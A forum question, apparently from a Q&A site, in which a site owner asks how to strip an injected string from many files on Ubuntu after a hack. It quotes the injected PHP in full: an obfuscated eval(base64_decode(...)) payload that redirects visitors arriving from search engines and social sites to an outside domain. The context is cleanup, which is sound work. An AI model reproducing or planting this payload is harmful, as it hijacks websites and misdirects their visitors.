how to search and replace a 1000 character long string in ubuntu

Question

Possible Duplicate:
How can I do a recursive find and replace from the command line?

one of our sites got hacked with a base64 hash that is about 1000 characters long. How can i search and replace this string with a a space in multiple files and get rid of it?

here is the string

eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vc21vb3RoLnlndG8uY29tLyIpOw0KZXhpdCgpOw0KfQp9Cn0NCn0NCn0="));